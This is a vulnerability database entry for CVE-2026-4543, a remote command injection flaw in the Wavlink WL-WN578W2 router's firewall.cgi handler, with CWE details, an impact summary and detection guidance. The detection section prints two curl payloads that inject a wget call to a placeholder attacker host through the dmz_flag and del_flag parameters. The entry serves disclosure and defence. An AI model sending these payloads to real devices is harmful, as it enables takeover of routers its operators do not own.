CVE-2026-4543
Received Received - Intake
Remote Command Injection in Wavlink WL-WN578W2 POST Handler

Publication date: 2026-03-22

Last updated on: 2026-04-30

Assigner: VulDB

Description
A vulnerability was found in Wavlink WL-WN578W2 221110. The impacted element is an unknown function of the file /cgi-bin/firewall.cgi of the component POST Request Handler. Performing a manipulation of the argument dmz_flag/del_flag results in command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
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Meta Information
Published
2026-03-22
Last Modified
2026-04-30
Generated
2026-06-16
AI Q&A
2026-03-22
EPSS Evaluated
2026-06-15
NVD
CVE-2026-4543
EUVD
EUVD-2026-14295
Affected Vendors & Products
Showing 1 associated CPE
Vendor Product Version / Range
wavlink wl-wn578w2_firmware 221110
Helpful Resources
Exploitability
CWE
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KEV
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CWE ID Description
CWE-77 The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
CWE-74 The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
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Executive Summary

[{'type': 'paragraph', 'content': 'CVE-2026-4543 is a command injection vulnerability found in the WavLink WL-WN578W2 router, version V221110. It exists in the /cgi-bin/firewall.cgi script, specifically in the POST request handler that processes parameters such as dmz_flag and del_flag. When these parameters are manipulated, the router unsafely constructs command strings that are executed by the system, allowing an attacker to run arbitrary operating system commands remotely.'}, {'type': 'paragraph', 'content': 'Two main vulnerable functions are involved: one triggered when the firewall parameter equals "DMZ" (processing dmz_flag), and another when the firewall parameter equals "singlePortForwardDelete" (processing del_flag). Both lead to execution of attacker-controlled commands via the system() call.'}] [1, 2]

Impact Analysis

This vulnerability allows remote attackers to execute arbitrary operating system commands on the affected router without user interaction. This can lead to unauthorized control over the device, enabling attackers to download malicious files, alter configurations, disrupt network traffic, or use the device as a foothold for further attacks within the network.

Compliance Impact

I don't know

Detection Guidance

[{'type': 'paragraph', 'content': 'This vulnerability can be detected by sending crafted POST requests to the /cgi-bin/firewall.cgi endpoint of the WavLink WL-WN578W2 router and observing if arbitrary commands are executed.'}, {'type': 'paragraph', 'content': 'For example, you can test the command injection by sending a POST request with parameters that include command injection payloads in the dmz_flag or del_flag arguments.'}, {'type': 'paragraph', 'content': 'A sample command using curl to test the dmz_flag parameter is:'}, {'type': 'list_item', 'content': 'curl -X POST http://[router_ip]/cgi-bin/firewall.cgi -d "firewall=DMZ&dmz_flag=0;wget http://[attacker_ip]:6666/testpoc"'}, {'type': 'paragraph', 'content': 'Similarly, to test the del_flag parameter, use:'}, {'type': 'list_item', 'content': 'curl -X POST http://[router_ip]/cgi-bin/firewall.cgi -d "firewall=singlePortForwardDelete&del_flag=0;wget http://[attacker_ip]:6666/testpoc"'}, {'type': 'paragraph', 'content': "If the router executes the injected command (e.g., downloads the testpoc file from the attacker's server), it confirms the presence of the vulnerability."}] [1, 2]

Mitigation Strategies

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